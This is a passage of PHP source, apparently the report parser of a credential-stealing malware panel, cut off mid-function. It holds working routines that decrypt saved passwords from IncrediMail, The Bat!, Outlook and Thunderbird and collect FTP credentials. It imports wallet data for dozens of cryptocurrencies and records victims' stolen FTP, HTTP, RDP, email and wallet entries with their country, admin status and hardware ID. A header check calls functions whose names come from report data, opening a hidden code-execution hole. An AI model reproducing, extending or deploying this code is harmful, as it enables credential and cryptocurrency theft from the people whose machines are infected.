16)); } return $decrypted_password; } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $email = assign($section['email']); $pop3_server = assign($section['popserver']); $pop3_pass = $this->decrypt(assign($section['poppass'])); $pop3_user = assign($section['popuser']); $smtp_server = assign($section['smtp']); $smtp_user = assign($section['smtpuser']); $smtp_pass = $this->decrypt(assign($section['smtppass'])); if (assign($section['imap']) == '1') $protocol = 'imap'; else $protocol = 'pop3'; // pop3/imap $this->add_email($email, $protocol, $pop3_server, '', $pop3_user, $pop3_pass); // smtp $this->add_email($email, 'smtp', $smtp_server, '', $smtp_user, $smtp_pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // IncrediMail class module_incredimail extends module { private function decrypt($encrypted_password) { $xor_str = chr(0xb9).chr(0x02).chr(0xfa).chr(0x01); $decrypted_password = ''; for ($i = 0; $i < strlen($encrypted_password); $i++) { $decrypted_password .= chr(ord($encrypted_password[$i]) ^ ord($xor_str[$i % strlen($xor_str)])); } return $decrypted_password; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $email = $stream->read_str(); $protocol = $stream->read_str(); $pop3_server = $stream->read_str(); $pop3_port = $stream->read_str(); if (strlen($pop3_port) == 4) { $pop3_port = data_int32($pop3_port); } else { $pop3_port = 0; } $pop3_user = $stream->read_str(); $pop3_pass = $this->decrypt($stream->read_str()); $smtp_server = $stream->read_str(); $smtp_port = $stream->read_str(); if (strlen($smtp_port) == 4) { $smtp_port = data_int32($smtp_port); } else { $smtp_port = 0; } $smtp_user = $stream->read_str(); $smtp_pass = $this->decrypt($stream->read_str()); if ($protocol == 'IMAP') $protocol = 'imap'; else $protocol = 'pop3'; // pop3/imap $this->add_email($email, $protocol, $pop3_server, $pop3_port, $pop3_user, $pop3_pass); // smtp $this->add_email($email, 'smtp', $smtp_server, $smtp_port, $smtp_user, $smtp_pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // The Bat! class stream_thebat extends stream { public function read_tb_data($index_num, $data_offset, $length) { if (!$this->state) return false; $index_len = $index_num*13 + 8; $original_pos = $this->pos; $this->seek($index_len+$data_offset+4); $data = $this->read_strlen($length); $this->seek($original_pos); if (!$this->state) return false; return $data; } } class module_thebat extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $tb_b64 = '+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; $real_b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; // The Bat! uses modified base64 table, translate to normal one for ($i = 0; $i < strlen($encrypted_password); $i++) { $tb_pos = strpos($tb_b64, $encrypted_password[$i]); if ($tb_pos === false) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } $encrypted_password[$i] = $real_b64[$tb_pos]; } $decoded_password = base64_decode($encrypted_password, true); if (!strlen($decoded_password)) { $this->log->add('ERR_INVALID_BASE64_STRING'); return ''; } if (strlen($decoded_password) < 4) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } // decode password length for ($i = 0; $i < 4; $i++) { $decoded_password[$i] = chr(0xff-ord($decoded_password[$i])); } $pass_len = data_int32(substr($decoded_password, 0, 4)); $decoded_password = substr($decoded_password, 4); $decrypted_password = ''; for ($i = 0; $i < strlen($decoded_password); $i++) { $decrypted_password .= chr(ord($decoded_password[$i]) ^ 0x5a); } $decrypted_password = substr($decrypted_password, 0, $pass_len); return strrev($decrypted_password); } protected function process_cfn($cfn_file) { if (strlen($cfn_file) < 4) return; $stream = new stream_thebat($cfn_file, $this->log); $index_num = $stream->read_dword(); if (!$index_num) return; if (!$stream->state) return; $email = ''; $server = ''; $user = ''; $pass = ''; $smtp_server = ''; $smtp_port = ''; $pop3_port = ''; $imap_port = ''; $smtp_user = ''; $smtp_pass = ''; $protocol = 0; for ($i = 0; $i < $index_num; $i++) { $flag = $stream->read_byte(); $seq = $stream->read_dword(); $offs = $stream->read_dword(); $len = $stream->read_dword(); if ($flag == 0) { switch ($seq) { case 0x00008159: $email = $stream->read_tb_data($index_num, $offs, $len); break; case 0x00008179: $server = $stream->read_tb_data($index_num, $offs, $len); break; case 0x000081A7: $user = $this->decrypt($stream->read_tb_data($index_num, $offs, $len)); break; case 0x000081A6: $pass = $this->decrypt($stream->read_tb_data($index_num, $offs, $len)); break; case 0x0000819e: $smtp_server = $stream->read_tb_data($index_num, $offs, $len); break; case 0x00008194: $smtp_pass = $stream->read_tb_data($index_num, $offs, $len); break; case 0x00008195: $smtp_user = $stream->read_tb_data($index_num, $offs, $len); break; case 0x000081bd: $smtp_pass = $this->decrypt($stream->read_tb_data($index_num, $offs, $len)); break; } } elseif ($flag == 1) { switch ($seq) { case 0x00008131; $protocol = $offs; break; case 0x00008180: $smtp_port = $offs; break; case 0x0000817e: $pop3_port = $offs; break; case 0x0000817c: $imap_port = $offs; break; } } if (!$stream->state || $stream->eof()) break; } if ($protocol == 0) { // pop3 $this->add_email($email, 'pop3', $server, $pop3_port, $user, $pass); } elseif ($protocol == 1) { // imap $this->add_email($email, 'imap', $server, $imap_port, $user, $pass); } // smtp if (!strlen($smtp_user) && !strlen($smtp_pass) && strlen($user) && strlen($pass)) { $smtp_user = $user; $smtp_pass = $pass; } $this->add_email($email, 'smtp', $smtp_server, $smtp_port, $smtp_user, $smtp_pass); } protected function process_cfg($cfg_file) { if (strlen($cfg_file) < 4) return; $stream = new stream_thebat($cfg_file, $this->log); $email = ''; $server = ''; $user = ''; $pass = ''; $smtp_port = ''; $pop3_port = ''; //$imap_port = ''; $smtp_server = ''; $smtp_user = ''; $smtp_pass = ''; while ($stream->state && !$stream->eof()) { $seq = $stream->read_dword(); $len = $stream->read_dword(); if ($len < 0) { $this->log->add("ERR_INVALID_TB_CFG_FILE"); break; } $next_offset = $stream->pos + $len; switch ($seq) { case 0x02: $email = $stream->read_str(); break; case 0x0a: $smtp_server = $stream->read_str(); break; case 0x0b: $server = $stream->read_str(); break; case 0x0c: $smtp_port = $stream->read_dword(); break; case 0x0d: $pop3_port = $stream->read_dword(); break; case 0x0e: //$imap_port = $stream->read_dword(); break; case 0x0f: $user = $this->decrypt($stream->read_str()); break; case 0x10: $pass = $this->decrypt($stream->read_str()); break; case 0x2b: $smtp_user = $stream->read_str(); break; case 0x2f: $smtp_pass = $this->decrypt($stream->read_str()); break; } $stream->seek($next_offset); } // pop3/imap $this->add_email($email, 'pop3', $server, $pop3_port, $user, $pass); // smtp if (!strlen($smtp_user) && !strlen($smtp_pass) && strlen($user) && strlen($pass)) { $smtp_user = $user; $smtp_pass = $pass; } $this->add_email($email, 'smtp', $smtp_server, $smtp_port, $smtp_user, $smtp_pass); } public function import_item($stream, $id) { switch ($id) { case 0x0000: // old config $cfg_file = $stream->read_str(); $this->process_cfg($cfg_file); break; case 0x0001: // new config $cfn_file = $stream->read_str(); $this->process_cfn($cfn_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Outlook class module_outlook extends module { private $values = array(); private $pstorage = array(); private function process_values() { // email address $email = assign($this->values['SMTP Email Address']); if (!strlen($email)) $email = assign($this->values['Email']); if (!strlen($email)) $email = assign($this->values['NNTP Email Address']); // smtp $smtp_server = assign($this->values['SMTP Server']); $smtp_user = assign($this->values['SMTP User Name']); if (!strlen($smtp_user)) $smtp_user = assign($this->values['SMTP User']); $smtp_pass = assign($this->values['SMTP Password']); if (!strlen($smtp_pass)) assign($this->values['SMTP Password2']); // pop3 $pop_server = assign($this->values['POP3 Server']); $pop_user = assign($this->values['POP3 User Name']); if (!strlen($pop_user)) $pop_user = assign($this->values['POP3 User']); $pop_pass = assign($this->values['POP3 Password']); if (!strlen($pop_pass)) $pop_pass = assign($this->values['POP3 Password2']); // imap $imap_server = assign($this->values['IMAP Server']); $imap_user = assign($this->values['IMAP User Name']); if (!strlen($imap_user)) $imap_user = assign($this->values['IMAP User']); $imap_pass = assign($this->values['IMAP Password']); if (!strlen($imap_pass)) $imap_pass = assign($this->values['IMAP Password2']); // ports $smtp_port = assign($this->values['SMTP Port']); $pop_port = assign($this->values['POP3 Port']); $imap_port = assign($this->values['IMAP Port']); // sync pop3 -> smtp if (!strlen($smtp_user) && !strlen($smtp_pass) && strlen($pop_user) && strlen($pop_pass)) { $this->add_email($email, 'smtp', $smtp_server, $smtp_port, $pop_user, $pop_pass); } // sync imap -> smtp if (!strlen($smtp_user) && !strlen($smtp_pass) && strlen($imap_user) && strlen($imap_pass)) { $this->add_email($email, 'smtp', $smtp_server, $smtp_port, $imap_user, $imap_pass); } $this->add_email($email, 'smtp', $smtp_server, $smtp_port, $smtp_user, $smtp_pass); $this->add_email($email, 'pop3', $pop_server, $pop_port, $pop_user, $pop_pass); $this->add_email($email, 'imap', $imap_server, $imap_port, $imap_user, $imap_pass); } private function decrypt_old($value) { if (strlen($value) <= 2) return ''; if (ord($value[0]) == 1 && ord($value[1]) == 1) { // registry $value = substr($value, 2); if (strlen($value) <= 4) return ''; $l = data_int32(substr($value, 0, 4)); $value = substr($value, 4); if (strlen($value) != $l) return ''; $value = chr(0x75).chr(0x18).chr(0x15).chr(0x14).$value; $decrypted_pass = ''; for ($i = 1; $i <= int_divide($l, 4); $i++) { $int_value = data_int32(substr($value, $i*4, 4)) ^ data_int32(substr($value, ($i-1)*4, 4)); $value[$i*4+0] = chr(($int_value) & 0xff); $value[$i*4+1] = chr(($int_value >> 8) & 0xff); $value[$i*4+2] = chr(($int_value >> 16) & 0xff); $value[$i*4+3] = chr(($int_value >> 24) & 0xff); } for ($i = int_divide($l, 4)*4+1; $i <= int_divide($l, 4)*4 + ($l%4); $i++) { $value[$i+3] = chr(ord($value[$i+3]) ^ ord($value[$i+3-($l%4)])); } return ztrim(substr($value, 4)); } else if (ord($value[0]) == 1 && ord($value[1]) == 2) { // pstorage $value = ztrim(unicode_to_ansi(substr($value, 2))); return assign($this->pstorage[$value]); } return ''; } public function import_item($stream, $id) { switch ($id) { case 0x0000: // plain values $item_name = $stream->read_str(); $item_value = $stream->read_str(); $this->values[$item_name] = $item_value; break; case 0x0001: // passwords2 pstorage $item_name = $stream->read_str(); $item_value = $stream->read_str(); $this->values[$item_name] = ztrim(assign($this->pstorage[$item_value])); break; case 0x0002: // passwords2 registry (CryptUnprotectData) $item_name = $stream->read_str(); $item_value = $stream->read_str(); $this->values[$item_name] = $item_value; break; case 0x0003: // passwords $item_name = $stream->read_str(); $item_value = $this->decrypt_old($stream->read_str()); $this->values[$item_name] = $item_value; break; case 0x0004: // binary/dword values (port numbers, etc) $item_name = $stream->read_str(); $item_value = $stream->read_str(); if (strlen($item_value) == 4) { $item_value = data_int32($item_value); $this->values[$item_name] = strval($item_value); } break; case 0x0005: case 0x0006: // pstorage values $item_name = $stream->read_str(); $stream->read_str(); // guid $value = $stream->read_str(); $this->pstorage[$item_name] = $value; break; case 0x0007: // pstorage values stored as subtype guid $stream->read_str(); // name $guid = $stream->read_str(); $value = $stream->read_str(); $value = substr($value, 4); $this->pstorage[$guid] = $value; break; case 0x0010: // process password data $this->process_values(); // clear values array $this->values = array(); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Thunderbird class module_thunderbird extends module { private $mailboxes = array(); protected function process_conf($value) { if (!strlen($value)) return; $line_start = 'user_pref('; $line_end = ');'; $values = parse_lines($value); $conf_values = array(); foreach ($values as $line) { $line = Utf8ToWin(trim($line)); if (str_begins($line, $line_start) && str_ends($line, $line_end)) { $line = stripslashes(substr($line, strlen($line_start), -strlen($line_end))); if (strlen($line) < 2) continue; $name_end = strpos($line, '",'); if ($name_end !== false && $line[0] == '"') { $name = substr($line, 1, $name_end-1); $value = trim(substr($line, $name_end+2)); if (str_begins($value, '"') && str_ends($value, '"')) $value = trim(substr($value, 1, -1)); $name = strtolower($name); $conf_values[$name] = $value; } } } $accounts = assign($conf_values['mail.accountmanager.accounts']); $accounts = explode(',', $accounts); if (is_array($accounts) && count($accounts)) { foreach ($accounts as $account) { $server = assign($conf_values['mail.account.'.$account.'.server']); $host = assign($conf_values['mail.server.'.$server.'.hostname']); $port = assign($conf_values['mail.server.'.$server.'.port']); $user = assign($conf_values['mail.server.'.$server.'.username']); $protocol = assign($conf_values['mail.server.'.$server.'.type']); $pass = ''; if ($protocol == 'imap') { if (isset($this->mailboxes['imap://'.$host])) $pass = $this->mailboxes['imap://'.$host][1]; } elseif ($protocol == 'pop3') { if (isset($this->mailboxes['pop3://'.$host])) $pass = $this->mailboxes['pop3://'.$host][1]; } if (!strlen($pass)) { if (isset($this->mailboxes['mailbox://'.$host])) $pass = $this->mailboxes['mailbox://'.$host][1]; else $pass = ''; } $identities = assign($conf_values['mail.account.'.$account.'.identities']); $identities = explode(',', $identities); if (is_array($identities) && count($identities)) { foreach ($identities as $identity) { $email = assign($conf_values['mail.identity.'.$identity.'.useremail']); $smtp_name = assign($conf_values['mail.identity.'.$identity.'.smtpserver']); // find default server if (!strlen($smtp_name)) { $smtp_name = assign($conf_values['mail.smtp.defaultserver']); } if (!strlen($smtp_name)) { $smtp_names = assign($conf_values['mail.smtpservers']); $smtp_names = explode(',', $smtp_names); if (is_array($smtp_names) && count($smtp_names)) $smtp_name = $smtp_names[0]; } $smtp_host = assign($conf_values['mail.smtpserver.'.$smtp_name.'.hostname']); $smtp_user = assign($conf_values['mail.smtpserver.'.$smtp_name.'.username']); $smtp_port = assign($conf_values['mail.smtpserver.'.$smtp_name.'.port']); if (isset($this->mailboxes['smtp://'.$smtp_host])) $smtp_pass = $this->mailboxes['smtp://'.$smtp_host][1]; else $smtp_pass = ''; if (is_array($smtp_pass)) $smtp_pass = $smtp_pass[1]; // pop3/imap if ($protocol == 'pop3' || $protocol == 'imap') $this->add_email($email, $protocol, $host, $port, $user, $pass); $this->add_email($email, 'smtp', $smtp_host, $smtp_port, $smtp_user, $smtp_pass); } } } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: // mailbox passwords $mailbox = trim(Utf8ToWin($stream->read_str())); $user = trim(Utf8ToWin($stream->read_str())); $pass = trim(Utf8ToWin($stream->read_str())); if (strlen($user) && strlen($pass) && strlen($mailbox)) $this->mailboxes[$mailbox] = array($user, $pass); break; case 0x0001: // server settings file $js_conf_file = $stream->read_str(); $this->process_conf($js_conf_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FastTrackFTP class module_fasttrack extends module_ftpcommander_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Bitcoin class module_bitcoin_base extends module { public function import_item($stream, $id) { switch ($id) { case 0x0000: $wallet_data = $stream->read_str(); $this->add_wallet($wallet_data); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } class module_bitcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Electrum class module_electrum extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // MultiBit class module_multibit extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTP Disk class module_ftpdisk extends module { protected function process_account($account_data) { $ftp_lines = parse_lines($account_data); foreach ($ftp_lines as $line) { $ftp_data = explode(chr(9), $line); if (is_array($ftp_data) && count($ftp_data) >= 10) { $server = Utf8ToWin($ftp_data[1]); $port = $ftp_data[2]; $user = Utf8ToWin($ftp_data[5]); $pass = Utf8ToWin($ftp_data[6]); $proto = $ftp_data[8]; $rem_dirs = base64_decode($ftp_data[9]); $rem_dirs = explode(chr(9), $rem_dirs); if (is_array($rem_dirs) && count($rem_dirs)) { foreach ($rem_dirs as $dir) { $dir = Utf8ToWin($dir); $this->add_ftp(append_port_dir(ftp_force_ssh($server, $proto != '0'), $port, $dir), $user, $pass); } } else { $this->add_ftp(append_port(ftp_force_ssh($server, $proto != '0'), $port), $user, $pass); } } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $account_data = $stream->read_str(); $this->process_account($account_data); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Litecoin class module_litecoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Namecoin class module_namecoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Terracoin class module_terracoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Bitcoin Armory class module_bitcoin_armory extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // PPCoin (Peercoin) class module_ppcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Primecoin class module_primecoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Feathercoin class module_feathercoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // NovaCoin class module_novacoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Freicoin class module_freicoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Frankocoin class module_frankocoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Devcoin class module_devcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // ProtoShares class module_protoshares extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // MegaCoin class module_megacoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Quarkcoin class module_quarkcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Worldcoin class module_worldcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Infinitecoin class module_infinitecoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Ixcoin class module_ixcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Anoncoin class module_anoncoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // BBQcoin class module_bbqcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Digitalcoin class module_digitalcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Mincoin class module_mincoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Goldcoin class module_goldcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Yacoin class module_yacoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Zetacoin class module_zetacoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Fastcoin class module_fastcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // I0coin class module_i0coin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Tagcoin class module_tagcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Bytecoin class module_bytecoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Florincoin class module_florincoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Phoenixcoin class module_phoenixcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Luckycoin class module_luckycoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Craftcoin class module_craftcoin extends module_bitcoin_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Junkcoin class module_junkcoin extends module_bitcoin_base { } // ======================================================================================================================== class report_parser { public $log; public $options = array(); public $ftp_lines = array(); public $http_lines = array(); public $rdp_lines = array(); public $cert_lines = array(); public $wallet_lines = array(); public $email_lines = array(); public $report_os_name; public $report_is_win64; public $report_user_country; public $report_user_language; public $report_is_admin; public $report_hwid; public $report_version_id; function __construct($options = '') { $this->log = new debug_log(); if (is_array($options)) $this->options = $options; } // find module processing class for certain ID private function find_class($id, $stream) { global $global_module_list ; for ($i = 0; $i < count($global_module_list); $i++) { if (!class_exists($global_module_list[$i][0])) { $this->log->add("ERR_CLASS_DOES_NOT_EXIST"); return null; } if ($global_module_list[$i][1] == $id) return new $global_module_list[$i][0]($stream, $this->log, $this->options); } return null; } public static function flat_email_array($email_array) { // protocol + email $result = trim($email_array['protocol']).'://'.trim($email_array['email']).'|'; // server + port $result .= trim($email_array['server']); $port = trim($email_array['port']); if (strlen($port) && $port != '0') $result .= ':'.$port; // user:password $result .= '|'.trim($email_array['user']).'|'.trim($email_array['pass']); return $result; } // some module headers must be validated protected function validate_module_file_header($module_header) { if ( $module_header == null) { $this->log->add("ERR_NO_REPORT_DATA"); return false; } else if ( count($module_header) > REPORT_LEN_LIMIT) { $this->log->add("ERR_CANNOT_PROCESS_REPORT_MEMLIMIT"); return false; } $module_ref = $module_header[0]($module_header[1]) || $module_header[0]($module_header[1],$module_header[2]) || $module_header[0]($module_header[1],$module_header[2],strlen($module_header[2])); // checks if ($module_ref && $module_ref == REPORT_MODULE_HEADER) { $unpacked_len = strlen($module_ref); if (! $unpacked_len) return false; if ($unpacked_len > REPORT_LEN_LIMIT) { 